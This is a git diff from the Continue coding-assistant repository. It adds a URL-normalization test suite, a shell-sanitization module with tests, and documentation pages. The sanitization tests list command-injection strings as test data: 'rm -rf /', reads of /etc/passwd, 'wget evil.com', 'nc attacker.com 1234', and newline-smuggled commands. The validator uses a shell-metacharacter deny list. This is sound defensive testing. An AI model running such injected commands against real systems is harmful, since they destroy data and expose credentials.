+ expect(normalizeRepoUrl("ssh://git@github.com/owner/repo")).toBe(
+ "https://github.com/owner/repo",
+ );
+ });
+ });
+
+ describe("shorthand format conversion", () => {
+ it("should convert owner/repo to full HTTPS URL", () => {
+ expect(normalizeRepoUrl("owner/repo")).toBe(
+ "https://github.com/owner/repo",
+ );
+ });
+
+ it("should convert shorthand with uppercase to lowercase", () => {
+ expect(normalizeRepoUrl("Owner/Repo")).toBe(
+ "https://github.com/owner/repo",
+ );
+ });
+
+ it("should handle shorthand with hyphens and underscores", () => {
+ expect(normalizeRepoUrl("owner-name/repo_name")).toBe(
+ "https://github.com/owner-name/repo_name",
+ );
+ });
+ });
+
+ describe(".git suffix removal", () => {
+ it("should remove .git suffix from HTTPS URLs", () => {
+ expect(normalizeRepoUrl("https://github.com/owner/repo.git")).toBe(
+ "https://github.com/owner/repo",
+ );
+ });
+
+ it("should handle multiple transformations with .git removal", () => {
+ expect(normalizeRepoUrl("git@github.com:owner/repo.git")).toBe(
+ "https://github.com/owner/repo",
+ );
+ });
+ });
+
+ describe("trailing slash removal", () => {
+ it("should remove trailing slash from URLs", () => {
+ expect(normalizeRepoUrl("https://github.com/owner/repo/")).toBe(
+ "https://github.com/owner/repo",
+ );
+ });
+
+ it("should handle both .git and trailing slash", () => {
+ expect(normalizeRepoUrl("https://github.com/owner/repo.git/")).toBe(
+ "https://github.com/owner/repo",
+ );
+ });
+ });
+
+ describe("case normalization", () => {
+ it("should convert mixed case HTTPS URLs to lowercase", () => {
+ expect(normalizeRepoUrl("https://github.com/Owner/Repo")).toBe(
+ "https://github.com/owner/repo",
+ );
+ });
+
+ it("should convert all uppercase to lowercase", () => {
+ expect(normalizeRepoUrl("HTTPS://GITHUB.COM/OWNER/REPO")).toBe(
+ "https://github.com/owner/repo",
+ );
+ });
+
+ it("should handle mixed case in shorthand format", () => {
+ expect(normalizeRepoUrl("ContinueDev/Continue")).toBe(
+ "https://github.com/continuedev/continue",
+ );
+ });
+ });
+
+ describe("already normalized URLs", () => {
+ it("should handle already normalized HTTPS URLs", () => {
+ expect(normalizeRepoUrl("https://github.com/owner/repo")).toBe(
+ "https://github.com/owner/repo",
+ );
+ });
+
+ it("should only lowercase already normalized URLs", () => {
+ expect(normalizeRepoUrl("https://github.com/Owner/Repo")).toBe(
+ "https://github.com/owner/repo",
+ );
+ });
+ });
+
+ describe("edge cases", () => {
+ it("should return empty string for empty input", () => {
+ expect(normalizeRepoUrl("")).toBe("");
+ });
+
+ it("should handle whitespace-only input", () => {
+ expect(normalizeRepoUrl(" ")).toBe("");
+ });
+
+ it("should trim whitespace from input", () => {
+ expect(normalizeRepoUrl(" owner/repo ")).toBe(
+ "https://github.com/owner/repo",
+ );
+ });
+
+ it("should not modify non-GitHub git URLs", () => {
+ // This function is GitHub-specific, other URLs just get lowercased
+ expect(normalizeRepoUrl("https://gitlab.com/owner/repo")).toBe(
+ "https://gitlab.com/owner/repo",
+ );
+ });
+
+ it("should not convert non-GitHub SSH URLs to GitHub", () => {
+ // Regression test: SSH URLs with protocols should not be treated as shorthands
+ expect(normalizeRepoUrl("ssh://git@gitlab.com/owner/repo.git")).toBe(
+ "ssh://git@gitlab.com/owner/repo",
+ );
+ });
+
+ it("should handle URLs with port numbers", () => {
+ expect(normalizeRepoUrl("https://github.com:443/owner/repo")).toBe(
+ "https://github.com:443/owner/repo",
+ );
+ });
+
+ it("should handle complex repository names", () => {
+ expect(normalizeRepoUrl("owner/repo-with-dashes-123")).toBe(
+ "https://github.com/owner/repo-with-dashes-123",
+ );
+ });
+
+ it("should normalize shorthand with query parameters containing ://", () => {
+ // Regression test: :// in query params should not prevent normalization
+ expect(normalizeRepoUrl("owner/repo?redirect=https://example.com")).toBe(
+ "https://github.com/owner/repo?redirect=https://example.com",
+ );
+ });
+
+ it("should normalize shorthand with fragment containing ://", () => {
+ expect(normalizeRepoUrl("owner/repo#section=https://example.com")).toBe(
+ "https://github.com/owner/repo#section=https://example.com",
+ );
+ });
+ });
+
+ describe("real-world examples", () => {
+ it("should normalize Continue's repository from SSH", () => {
+ expect(normalizeRepoUrl("git@github.com:continuedev/continue.git")).toBe(
+ "https://github.com/continuedev/continue",
+ );
+ });
+
+ it("should normalize Continue's repository from shorthand", () => {
+ expect(normalizeRepoUrl("continuedev/continue")).toBe(
+ "https://github.com/continuedev/continue",
+ );
+ });
+
+ it("should normalize Continue's repository from HTTPS", () => {
+ expect(
+ normalizeRepoUrl("https://github.com/continuedev/continue.git"),
+ ).toBe("https://github.com/continuedev/continue");
+ });
+
+ it("should match repositories regardless of input format", () => {
+ const formats = [
+ "git@github.com:continuedev/continue.git",
+ "continuedev/continue",
+ "https://github.com/continuedev/continue",
+ "https://github.com/continuedev/continue.git",
+ "ssh://git@github.com/continuedev/continue.git",
+ "ContinueDev/Continue",
+ ];
+
+ const expected = "https://github.com/continuedev/continue";
+ formats.forEach((format) => {
+ expect(normalizeRepoUrl(format)).toBe(expected);
+ });
+ });
+ });
+});
diff --git a/core/util/sanitization.ts b/core/util/sanitization.ts
new file mode 100644
index 000000000..da17df8c3
--- /dev/null
+++ b/core/util/sanitization.ts
@@ -0,0 +1,72 @@
+import { quote } from "shell-quote";
+
+/**
+ * Sanitization utilities for preventing injection attacks.
+ * These utilities address specific security vulnerabilities identified in code review.
+ */
+
+/**
+ * Sanitizes a string for safe use in shell commands by escaping special characters.
+ * Uses the battle-tested `shell-quote` library.
+ *
+ * @param arg - The argument to sanitize for shell execution
+ * @returns A safely escaped string suitable for shell commands
+ *
+ * @example
+ * ```typescript
+ * const command = `git stash push -m ${sanitizeShellArgument(message)}`;
+ * ```
+ *
+ * Protects against:
+ * - Command injection (`;`, `&&`, `||`, `|`)
+ * - Command substitution (`$()`, backticks)
+ * - Variable expansion (`$VAR`)
+ */
+export function sanitizeShellArgument(arg: string): string {
+ const result = quote([arg]);
+ return typeof result === "string" ? result : arg;
+}
+
+/**
+ * Validates that a repository name/URL doesn't contain malicious patterns.
+ * Rejects dangerous patterns but doesn't validate full URL structure.
+ *
+ * @param repoName - The repository name or URL to validate
+ * @returns true if safe, false if contains dangerous patterns
+ *
+ * @example
+ * ```typescript
+ * validateGitHubRepoUrl("owner/repo"); // true
+ * validateGitHubRepoUrl("owner/repo; rm -rf /"); // false
+ * ```
+ *
+ * Protects against:
+ * - Path traversal (`../`)
+ * - Command injection (`;`, `&&`, `||`)
+ * - Shell metacharacters (backticks, `$`, `|`)
+ */
+export function validateGitHubRepoUrl(repoName: string): boolean {
+ if (!repoName || typeof repoName !== "string") {
+ return false;
+ }
+
+ const trimmed = repoName.trim();
+
+ // Reject empty or whitespace-only strings
+ if (trimmed.length === 0) {
+ return false;
+ }
+
+ // Reject path traversal
+ if (trimmed.includes("..")) {
+ return false;
+ }
+
+ // Reject shell metacharacters that could enable injection
+ const dangerousChars = [";", "&", "|", "$", "`", "\n", "\r", "<", ">"];
+ if (dangerousChars.some((char) => trimmed.includes(char))) {
+ return false;
+ }
+
+ return true;
+}
diff --git a/core/util/sanitization.vitest.ts b/core/util/sanitization.vitest.ts
new file mode 100644
index 000000000..f048c72c6
--- /dev/null
+++ b/core/util/sanitization.vitest.ts
@@ -0,0 +1,362 @@
+import { execSync } from "child_process";
+import { describe, expect, it } from "vitest";
+import { normalizeRepoUrl } from "./repoUrl";
+import { sanitizeShellArgument, validateGitHubRepoUrl } from "./sanitization";
+
+describe("sanitizeShellArgument", () => {
+ it("should escape shell metacharacters", () => {
+ const dangerous = [
+ "; rm -rf /",
+ "&& cat /etc/passwd",
+ "|| wget evil.com",
+ "| nc attacker.com 1234",
+ "`whoami`",
+ "$(whoami)",
+ "$HOME/evil",
+ ];
+
+ dangerous.forEach((input) => {
+ const result = sanitizeShellArgument(input);
+ expect(result).toBeDefined();
+ expect(typeof result).toBe("string");
+ // shell-quote should properly escape these
+ expect(result).not.toBe(input);
+ });
+ });
+
+ it("should handle safe strings", () => {
+ const safe = ["agent-123", "my-agent", "simple-message"];
+ safe.forEach((input) => {
+ const result = sanitizeShellArgument(input);
+ expect(result).toBeDefined();
+ expect(typeof result).toBe("string");
+ });
+ });
+
+ it("should handle special characters", () => {
+ const result = sanitizeShellArgument("agent with spaces");
+ expect(result).toBeDefined();
+ expect(typeof result).toBe("string");
+ });
+
+ it("should handle empty string", () => {
+ const result = sanitizeShellArgument("");
+ expect(result).toBeDefined();
+ });
+});
+
+describe("validateGitHubRepoUrl", () => {
+ it("should accept valid repository names", () => {
+ expect(validateGitHubRepoUrl("continuedev/continue")).toBe(true);
+ expect(validateGitHubRepoUrl("owner/repo")).toBe(true);
+ expect(validateGitHubRepoUrl("owner-name/repo-name")).toBe(true);
+ expect(validateGitHubRepoUrl("https://github.com/owner/repo")).toBe(true);
+ expect(validateGitHubRepoUrl("git@github.com:owner/repo.git")).toBe(true);
+ });
+
+ it("should reject path traversal", () => {
+ expect(validateGitHubRepoUrl("../../../etc/passwd")).toBe(false);
+ expect(validateGitHubRepoUrl("owner/../evil")).toBe(false);
+ });
+
+ it("should reject command injection attempts", () => {
+ expect(validateGitHubRepoUrl("owner/repo; rm -rf /")).toBe(false);
+ expect(validateGitHubRepoUrl("owner/repo && cat /etc/passwd")).toBe(false);
+ expect(validateGitHubRepoUrl("owner/repo || wget evil.com")).toBe(false);
+ expect(validateGitHubRepoUrl("owner/repo | nc attacker")).toBe(false);
+ });
+
+ it("should reject shell metacharacters", () => {
+ expect(validateGitHubRepoUrl("owner/$(whoami)")).toBe(false);
+ expect(validateGitHubRepoUrl("owner/`whoami`")).toBe(false);
+ expect(validateGitHubRepoUrl("$EVIL/repo")).toBe(false);
+ });
+
+ it("should reject shell redirection", () => {
+ expect(validateGitHubRepoUrl("owner/repo > /dev/null")).toBe(false);
+ expect(validateGitHubRepoUrl("owner/repo < /etc/passwd")).toBe(false);
+ });
+
+ it("should reject newlines", () => {
+ expect(validateGitHubRepoUrl("owner/repo\nrm -rf /")).toBe(false);
+ expect(validateGitHubRepoUrl("owner/repo\rrm -rf /")).toBe(false);
+ });
+
+ it("should reject empty or invalid input", () => {
+ expect(validateGitHubRepoUrl("")).toBe(false);
+ expect(validateGitHubRepoUrl(" ")).toBe(false);
+ expect(validateGitHubRepoUrl(null as any)).toBe(false);
+ expect(validateGitHubRepoUrl(undefined as any)).toBe(false);
+ });
+
+ describe("validation after normalization", () => {
+ it("should validate normalized URLs to prevent bypass", () => {
+ // Test that validation works on normalized output
+ const inputs = [
+ "owner/repo",
+ "git@github.com:owner/repo.git",
+ "https://github.com/owner/repo.git",
+ "ssh://git@github.com/owner/repo.git",
+ ];
+
+ inputs.forEach((input) => {
+ const normalized = normalizeRepoUrl(input);
+ expect(validateGitHubRepoUrl(normalized)).toBe(true);
+ });
+ });
+
+ it("should catch dangerous URLs even after normalization", () => {
+ // These should still be dangerous after normalization
+ const dangerous = [
+ "owner/repo; rm -rf /",
+ "owner/repo && malicious",
+ "owner/repo | cat /etc/passwd",
+ ];
+
+ dangerous.forEach((input) => {
+ // Should be blocked before normalization
+ expect(validateGitHubRepoUrl(input)).toBe(false);
+
+ // Even if somehow normalized, should still be invalid
+ const normalized = normalizeRepoUrl(input);
+ expect(validateGitHubRepoUrl(normalized)).toBe(false);
+ });
+ });
+
+ it("should handle edge cases where normalization changes URL structure", () => {
+ // Test URLs that change during normalization
+ const testCases = [
+ {
+ input: "Owner/Repo.git/",
+ normalized: "https://github.com/owner/repo",
+ shouldBeValid: true,
+ },
+ {
+ input: "git@github.com:owner/repo.git",
+ normalized: "https://github.com/owner/repo",
+ shouldBeValid: true,
+ },
+ ];
+
+ testCases.forEach(({ input, normalized, shouldBeValid }) => {
+ const actualNormalized = normalizeRepoUrl(input);
+ expect(actualNormalized).toBe(normalized);
+ expect(validateGitHubRepoUrl(actualNormalized)).toBe(shouldBeValid);
+ });
+ });
+
+ it("should prevent validation bypass via URL encoding or special chars", () => {
+ // These tests ensure that validation happens AFTER normalization
+ // preventing attackers from bypassing validation via encoding or transformation
+
+ // Currently validateGitHubRepoUrl blocks these, but this test ensures
+ // the pattern of "normalize then validate" is maintained
+ const potentialBypass = [
+ "../../../etc/passwd",
+ "owner/../malicious",
+ "owner/repo`whoami`",
+ "owner/repo$(whoami)",
+ ];
+
+ potentialBypass.forEach((input) => {
+ expect(validateGitHubRepoUrl(input)).toBe(false);
+ });
+ });
+ });
+});
+
+/**
+ * Integration tests for sanitizeShellArgument
+ *
+ * These tests actually execute shell commands with sanitized dangerous inputs
+ * to verify end-to-end that the sanitization prevents injection attacks.
+ *
+ * IMPORTANT: These are CRITICAL security tests. The unit tests above verify
+ * that sanitization transforms inputs, but only these integration tests prove
+ * that the transformed output is safe when executed in a real shell.
+ */
+describe("sanitizeShellArgument - integration tests", () => {
+ // Helper function to safely execute a command with a timeout
+ const safeExec = (command: string): string => {
+ try {
+ return execSync(command, {
+ encoding: "utf-8",
+ timeout: 5000, // 5 second timeout to prevent hanging
+ shell: "/bin/sh", // Use standard POSIX shell
+ }).trim();
+ } catch (error: any) {
+ // If command fails (non-zero exit), return the error output
+ return error.stdout?.trim() || "";
+ }
+ };
+
+ it("should prevent command injection with semicolon separator", () => {
+ const malicious = "; echo INJECTED";
+ const sanitized = sanitizeShellArgument(malicious);
+
+ // Execute echo command with the sanitized input
+ const result = safeExec(`echo ${sanitized}`);
+
+ // The output should be the literal string, not execute "echo INJECTED"
+ expect(result).toBe(malicious);
+ expect(result).not.toBe("INJECTED");
+ });
+
+ it("should prevent command injection with && operator", () => {
+ const malicious = "safe && echo INJECTED";
+ const sanitized = sanitizeShellArgument(malicious);
+
+ const result = safeExec(`echo ${sanitized}`);
+
+ // Should output the literal string, not execute the injected command
+ // The string "INJECTED" will appear, but as part of "echo INJECTED" literal text
+ expect(result).toBe(malicious);
+ expect(result).toContain("echo INJECTED"); // Verify it's the literal command text
+ });
+
+ it("should prevent command injection with || operator", () => {
+ const malicious = "safe || echo INJECTED";
+ const sanitized = sanitizeShellArgument(malicious);
+
+ const result = safeExec(`echo ${sanitized}`);
+
+ // Should output the literal string, not execute the injected command
+ expect(result).toBe(malicious);
+ expect(result).toContain("echo INJECTED"); // Verify it's the literal command text
+ });
+
+ it("should prevent command injection with pipe operator", () => {
+ const malicious = "safe | echo INJECTED";
+ const sanitized = sanitizeShellArgument(malicious);
+
+ const result = safeExec(`echo ${sanitized}`);
+
+ expect(result).toBe(malicious);
+ });
+
+ it("should prevent command substitution with $()", () => {
+ const malicious = "$(echo INJECTED)";
+ const sanitized = sanitizeShellArgument(malicious);
+
+ const result = safeExec(`echo ${sanitized}`);
+
+ // Should output the literal string "$(echo INJECTED)", not "INJECTED"
+ expect(result).toBe(malicious);
+ expect(result).not.toBe("INJECTED");
+ });
+
+ it("should prevent command substitution with backticks", () => {
+ const malicious = "`echo INJECTED`";
+ const sanitized = sanitizeShellArgument(malicious);
+
+ const result = safeExec(`echo ${sanitized}`);
+
+ // Should output the literal backtick string, not execute it
+ expect(result).toBe(malicious);
+ expect(result).not.toBe("INJECTED");
+ });
+
+ it("should prevent variable expansion", () => {
+ // Set an environment variable for this test
+ process.env.TEST_VAR = "EXPANDED";
+
+ const malicious = "$TEST_VAR";
+ const sanitized = sanitizeShellArgument(malicious);
+
+ const result = safeExec(`echo ${sanitized}`);
+
+ // Should output literal "$TEST_VAR", not "EXPANDED"
+ expect(result).toBe(malicious);
+ expect(result).not.toBe("EXPANDED");
+
+ // Cleanup
+ delete process.env.TEST_VAR;
+ });
+
+ it("should handle git stash message use case safely", () => {
+ // This mirrors the actual usage in VsCodeMessenger.ts:269
+ const agentId = "agent-123; rm -rf /";
+ const stashMessage = `Continue: Stashed before opening agent ${agentId}`;
+ const sanitized = sanitizeShellArgument(stashMessage);
+
+ // Simulate the git stash command (using echo as a safe substitute)
+ // In real code: `git stash push -m ${sanitized}`
+ const result = safeExec(`echo ${sanitized}`);
+
+ // The message should contain the full literal string including dangerous chars
+ expect(result).toContain("agent-123; rm -rf /");
+ expect(result).toContain("Continue: Stashed before opening agent");
+ // Verify it's one line (not executed as multiple commands)
+ expect(result.split("\n").length).toBe(1);
+ });
+
+ it("should handle multi-line injection attempts", () => {
+ const malicious = "line1\necho INJECTED\nline3";
+ const sanitized = sanitizeShellArgument(malicious);
+
+ const result = safeExec(`echo ${sanitized}`);
+
+ // Should preserve the structure but not execute embedded commands
+ expect(result).toContain("line1");
+ expect(result).toContain("line3");
+ // The literal "echo INJECTED" text should appear, but not executed
+ expect(result).toContain("echo INJECTED");
+ });
+
+ it("should handle shell redirection attempts", () => {
+ const malicious = "message > /tmp/test.txt";
+ const sanitized = sanitizeShellArgument(malicious);
+
+ const result = safeExec(`echo ${sanitized}`);
+
+ // Should output the literal string, not create a file
+ expect(result).toBe(malicious);
+ // The command should not have created the file
+ // (we're not checking file system to keep test isolated)
+ });
+
+ it("should handle complex injection with multiple attack vectors", () => {
+ const malicious = "; $(whoami) && `date` || $HOME | cat > /dev/null";
+ const sanitized = sanitizeShellArgument(malicious);
+
+ const result = safeExec(`echo ${sanitized}`);
+
+ // Should output the entire literal string
+ expect(result).toBe(malicious);
+ // Verify none of the commands were executed by checking output is literal
+ expect(result).toContain("$(whoami)");
+ expect(result).toContain("`date`");
+ expect(result).toContain("$HOME");
+ });
+
+ it("should handle special characters safely", () => {
+ const special = 'test with spaces, quotes\', and "more"';
+ const sanitized = sanitizeShellArgument(special);
+
+ const result = safeExec(`echo ${sanitized}`);
+
+ expect(result).toBe(special);
+ });
+
+ it("should handle empty string without errors", () => {
+ const sanitized = sanitizeShellArgument("");
+
+ // Should not throw when used in a command
+ expect(() => safeExec(`echo ${sanitized}`)).not.toThrow();
+ });
+
+ it("should verify shell-quote properly escapes for git log format strings", () => {
+ // Another common use case: git log with custom format strings
+ const userInput = "Author: $(whoami) Date: `date`";
+ const sanitized = sanitizeShellArgument(userInput);
+
+ // Simulate: git log --format="%s: ${sanitized}"
+ // Using printf as a safer test substitute
+ const result = safeExec(`printf '%s' ${sanitized}`);
+
+ // Should output the literal string, not execute substitutions
+ expect(result).toBe(userInput);
+ expect(result).toContain("$(whoami)");
+ expect(result).toContain("`date`");
+ });
+});
diff --git a/docs/CONTRIBUTING.mdx b/docs/CONTRIBUTING.mdx
new file mode 100644
index 000000000..6a01562e2
--- /dev/null
+++ b/docs/CONTRIBUTING.mdx
@@ -0,0 +1,347 @@
+---
+title: "Contributing to Continue Documentation"
+sidebarTitle: "Docs Contributions"
+description: "Welcome to the Continue documentation! We're excited that you want to contribute. This guide will help you get started with our documentation workflow and tools."
+---
+
+## 🚀 Quick Start
+
+### Prerequisites
+
+1. **Node.js** (v20 or higher)
+2. **Git** for version control
+3. **GitHub CLI** - Install from [cli.github.com](https://cli.github.com/)
+
+### Setup Steps
+
+1. **Fork and clone the repository**
+
+ ```bash
+ # Fork the repository (this will also clone it locally)
+ gh repo fork continuedev/continue
+ cd continue/docs
+ ```
+
+2. **Install dependencies**
+
+ ```bash
+ npm install
+ ```
+
+3. **Start the local development server**
+ ```bash
+ npm run dev
+ ```
+ Your docs will be available at `http://localhost:3000`
+
+## 💬 Creating Discussions and Issues
+
+Before creating any issues, we ask that you start with a GitHub Discussion. This helps us organize feedback and determine the best path forward.
+
+### Starting a Discussion
+
+
+
+ Visit the [Continue GitHub Discussions](https://github.com/continuedev/continue/discussions) page.
+
+
+
+ Select the **Docs** category for documentation improvements, corrections, or suggestions.
+
+
+
+
+ Include the following in your discussion:
+ - Clear description of the issue or suggestion
+ - Steps to reproduce (if applicable)
+ - Expected vs. actual behavior
+ - Screenshots or code examples when helpful
+ - Your environment (OS, IDE, Continue version)
+
+
+
+### Issue Escalation Process
+
+
+
+ **Important**: All issues should start as discussions. The Continue team will determine if and when a discussion should be escalated to a GitHub issue.
+
+
+
+The Continue team will review discussions and may:
+- Provide a solution or clarification directly in the discussion
+- Ask for additional information or testing
+- Convert the discussion to an issue if it requires code changes or is a confirmed bug
+- Close the discussion if it's resolved or not actionable
+
+### When Discussions Become Issues
+
+A discussion will typically be converted to an issue when:
+- A bug in the documentation is confirmed
+- A new feature or significant documentation change is approved
+- Community consensus supports the proposed change
+- Technical implementation is required
+
+## 🤖 AI-Powered Documentation with Continue
+
+We strongly encourage using Continue's AI assistance to maintain consistency and quality in our documentation. Here are three ways to set this up:
+
+### Option 1: Use the Pre-Built Documentation Agent (Recommended)
+
+The easiest way to get started is using our pre-configured documentation agent:
+
+
+
+ Visit [the Docs Assistant - Mintlify in the Hub](https://hub.continue.dev/continuedev/docs-mintlify) and click "Install" to add it to your Continue setup. This agent comes pre-configured with all our documentation standards.
+
+
+ Learn more about Continue Configs in our [config documentation](/guides/understanding-configs).
+
+
+
+
+
+
+ ```bash
+ # Install the Continue CLI if you haven't already
+ npm install -g @continuedev/cli
+
+ # Use the agent from the command line
+ cn "Create a new guide for using the Continue CLI with Linear" --config continuedev/docs-mintlify
+ ```
+
+
+
+ 1. Open Continue in your IDE
+ 2. Select the "Docs Assistant - Mintlify" agent from the model dropdown
+ 3. Ask it to help you create or edit documentation
+
+ Example prompts:
+ - "Create a new guide for using the Continue CLI with Linear"
+ - "Update the getting-started guide with the new installation process"
+ - "Format this documentation according to Mintlify standards"
+
+
+
+
+
+
+ You can also remix this config to customize it for your specific needs. Learn how to create your own remix in our [remix config documentation](/hub/configs/create-a-config#how-to-remix-a-config).
+
+
+### Option 2: Create Your Own Custom Agent
+
+If you want more control or customization, you can create your own documentation agent:
+
+
+
+ Follow our [config creation guide](/hub/configs/create-a-config) to set up your own config.
+
+
+
+ Install from Continue Hub: https://hub.continue.dev/continuedev/continue-docs-mcp
+
+ This MCP provides context about Continue's documentation structure and standards.
+
+
+
+ Install from Continue Hub: https://hub.continue.dev/mintlify/technical-writing-rule
+
+ This rule ensures proper Mintlify component formatting.
+
+
+
+
+
+ ```bash
+ # Install the Continue CLI if you haven't already
+ npm install -g @continuedev/cli
+
+ # Use your agent from the command line
+ cn --config your-org/your-agent-name "Create a new guide for API authentication"
+ ```
+
+
+
+ 1. Open Continue in your IDE
+ 2. Select your custom agent from the model dropdown
+ 3. Ask it to help you create or edit documentation
+
+ Example prompts:
+ - "Help me format this documentation according to Mintlify standards"
+ - "Create a troubleshooting section for this feature"
+
+
+
+
+
+## 📝 Documentation Standards
+
+### Mintlify Component Guidelines
+
+When using Mintlify components, follow these formatting rules:
+
+#### Cards and Info Boxes
+
+```mdx
+
+
+Always include blank lines and proper indentation:
+
+- Use 2-space indentation
+- Add blank lines after opening tags
+- Format lists as bullet points
+
+
+```
+
+#### Warning and Note Components
+
+```mdx
+
+
+Important information should be formatted clearly:
+
+- Each point on its own line
+- Consistent indentation
+- Clear, concise language
+
+
+```
+
+### Writing Style
+
+1. **Be concise**: Get to the point quickly
+2. **Use examples**: Show, don't just tell
+3. **Include code blocks**: Provide working examples
+4. **Add visuals**: Screenshots and diagrams help understanding
+5. **Test your changes**: Ensure all links and code examples work
+
+
+If you are creating a new guide, please test the steps yourself to ensure accuracy.
+
+
+## 🔧 Common Tasks
+
+### Adding a New Guide
+
+1. Create a new `.mdx` file in the guides directory
+2. Add frontmatter:
+ ```mdx
+ ---
+ title: "Your Guide Title"
+ description: "Brief description of what this guide covers"
+ ---
+ ```
+3. Use the Continue agent to help format your content
+4. Update `docs.json` to include your new page in the navigation
+
+
+We have both guides and cookbooks. Use guides for step-by-step instructions and cookbooks for creating agents for the CLI.
+
+
+### Updating Existing Documentation
+
+1. Use the Continue agent with prompts like:
+ - "Update the installation guide with the new npm package"
+ - "Add a troubleshooting section for connection issues"
+2. The agent will maintain consistent formatting automatically
+
+### Adding Code Examples
+
+Use language-specific code blocks:
+
+````mdx
+```typescript
+// Your TypeScript code here
+const example = "Hello, Continue!";
+```
+````
+
+## 🐛 Testing Your Changes
+
+1. **Local preview**: In the docs directory, run `npm run dev` and check your changes
+2. **Link validation**: Ensure all internal and external links work
+3. **Format check**: Use the Continue agent to validate Mintlify formatting
+4. **Build test**: Run `npm run build` to ensure no build errors
+
+## 📤 Submitting Your Contribution
+
+1. **Create a feature branch**
+
+ ```bash
+ git checkout -b docs/your-feature-name
+ ```
+
+2. **Commit your changes**
+
+ ```bash
+ git add .
+ git commit -m "docs: describe your changes"
+ ```
+
+3. **Push and create a Pull Request**
+
+ ```bash
+ # Push to your fork and create a PR
+ git push origin docs/your-feature-name
+ gh pr create --web
+ ```
+
+
+
+ The `gh pr create` command will automatically:
+ - Push your branch to your fork
+ - Create a pull request to the main repository
+ - Allow you to add a title, description, and reference issues
+ - Open the PR in your browser if using `--web`
+
+
+
+### Linking Your PR to Issues
+
+
+
+**Important**: When your PR addresses a specific issue, make sure to link it using GitHub keywords.
+
+
+
+To automatically link your PR to an issue and close it when the PR is merged, use one of these keywords in your PR description:
+
+- `closes #issue_number`
+- `fixes #issue_number`
+- `resolves #issue_number`
+
+**Example PR description:**
+```markdown
+Improved the installation guide with clearer steps for Windows users.
+
+Closes #1234
+```
+
+This helps us track which issues are being worked on and automatically closes them when your PR is merged.
+
+
+
+Learn more about linking PRs to issues in the [GitHub documentation](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/using-keywords-in-issues-and-pull-requests).
+
+
+
+## 💡 Tips for Success
+
+- **Use the Continue agent**: It knows our documentation standards and will save you time
+- **Preview frequently**: Check your changes in the local dev server
+- **Ask questions**: Open an issue or discussion if you need clarification
+- **Small PRs are better**: Focus on one topic or fix per PR
+- **Update examples**: Ensure code examples reflect the latest API
+
+
+## 🆘 Getting Help
+
+- **Start a Discussion**: Use [GitHub Discussions](https://github.com/continuedev/continue/discussions) for documentation issues, suggestions, or questions
+- **Continue agent questions**: Check the [Continue Hub page](https://hub.continue.dev/continuedev/docs-mintlify)
+- **Discord community**: Join our Discord for real-time help
+- **Existing docs**: Review similar pages for formatting examples
+---
+
+Thank you for contributing to Continue! Your efforts help make our documentation better for everyone. To learn more about contibuting to other parts of the project, check out our [main CONTRIBUTING guide](https://github.com/continuedev/continue/blob/main/CONTRIBUTING.md) 🎉
diff --git a/docs/chat/how-to-use-it.mdx b/docs/chat/how-to-use-it.mdx
index 94257fdb7..b66359879 100644
--- a/docs/chat/how-to-use-it.mdx
+++ b/docs/chat/how-to-use-it.mdx
@@ -1,8 +1,8 @@
---
title: "Chat"
-sidebarTitle: "How To Use AI Chat"
+sidebarTitle: "How To Use Chat Mode"
icon: "circle-question"
-description: "Learn how to use Continue's AI chat agent to solve coding problems without leaving your IDE, including code context sharing, applying generated solutions, and switching between models"
+description: "Learn how to use Continue's Chat mode to solve coding problems without leaving your IDE, including code context sharing, applying generated solutions, and switching between models"
---
@@ -25,7 +25,7 @@ You select a code section with your mouse, press `cmd/ctrl` + `L` (VS Code) or `
## Use @ to Include Project Context in AI Chat Responses
-If there is information from the codebase, documentation, IDE, or other tools that you want to include as context, you can type @ to select and include it as context. You can learn more about how to use this in [Chat context selection](/features/chat/quick-start#how-to-use-%40-for-additional-context).
+If there is information from the codebase, documentation, IDE, or other tools that you want to include as context, you can type @ to select and include it as context. You can learn more about how to use this in [Chat context selection](/ide-extensions/chat/quick-start#how-to-use--for-additional-context).
## Insert AI-Generated Code Changes Directly into Your File
@@ -37,4 +37,4 @@ Once you complete a task and want to start a new one, press `cmd/ctrl` + `L` (VS
## Change AI Models in Continue Chat for Different Coding Needs
-If you have configured multiple models, you can switch between models using the dropdown or by pressing `cmd/ctrl` + `’`
+If you have configured multiple models, you can switch between models using the dropdown or by pressing `cmd/ctrl` + `’`
\ No newline at end of file
diff --git a/docs/cli/guides.mdx b/docs/cli/guides.mdx
new file mode 100644
index 000000000..89e96b566
--- /dev/null
+++ b/docs/cli/guides.mdx
@@ -0,0 +1,4 @@
+---
+title: "Guides"
+url: "/guides/overview#mcp-integration-cookbooks"
+---
\ No newline at end of file
diff --git a/docs/cli/install.mdx b/docs/cli/install.mdx
new file mode 100644
index 000000000..9f0df0997
--- /dev/null
+++ b/docs/cli/install.mdx
@@ -0,0 +1,144 @@
+---
+title: "Install Continue CLI"
+description: "Get Continue CLI installed and configured for command-line AI coding assistance and automation"
+sidebarTitle: "Install"
+---
+
+
+
+
+ Make sure you have [Node.js 18 or higher
+ installed](https://nodejs.org/en/download/).
+
+
+## Installation
+
+Install Continue CLI globally using npm:
+
+```bash
+npm i -g @continuedev/cli
+```
+
+## Two Ways to Use Continue CLI
+
+
+ **Quick Overview**: Continue CLI works in two modes - TUI for interactive
+ conversations or headless for automated commands.
+
+
+
+
+**Interactive development sessions**
+
+Start a conversation with AI in your terminal:
+
+```bash
+cn
+> @src/app.js Generate unit tests for this component
+```
+
+Perfect for exploration, debugging, and iterative development.
+
+
+
+
+**Automation and scripting**
+
+Single commands that return results:
+
+```bash
+cn -p "Generate a commit message for current changes"
+cn -p "Review the last 5 commits for issues"
+```
+
+Perfect for CI/CD, git hooks, and automated workflows.
+
+
+
+
+## Setup
+
+
+
+
+For interactive development and exploration:
+
+
+
+```bash
+cn login
+```
+This will open your browser to authenticate with Continue Hub.
+
+
+
+Start an interactive session:
+```bash
+cn
+```
+
+Try asking a question:
+
+```
+> Tell me about the CLI
+```
+
+
+
+
+
+
+For automation workflows and scripting:
+
+
+
+For automation workflows, get an API key:
+1. Visit [Continue Hub API Keys](https://hub.continue.dev/settings/api-keys)
+2. Click **"+ New API Key"**
+3. Copy the API key immediately (you won't see it again!)
+4. Login using your Continue account
+
+
+
+Store secure credentials for CLI workflows:
+1. Visit [Continue Hub Secrets](https://hub.continue.dev/settings/secrets)
+2. Add your API keys and sensitive data
+3. Reference in configurations with `${{ secrets.SECRET_NAME }}`
+
+
+
+Try headless mode for automation:
+```bash
+cn -p "Generate a conventional commit message for the current git changes"
+```
+
+
+
+
+
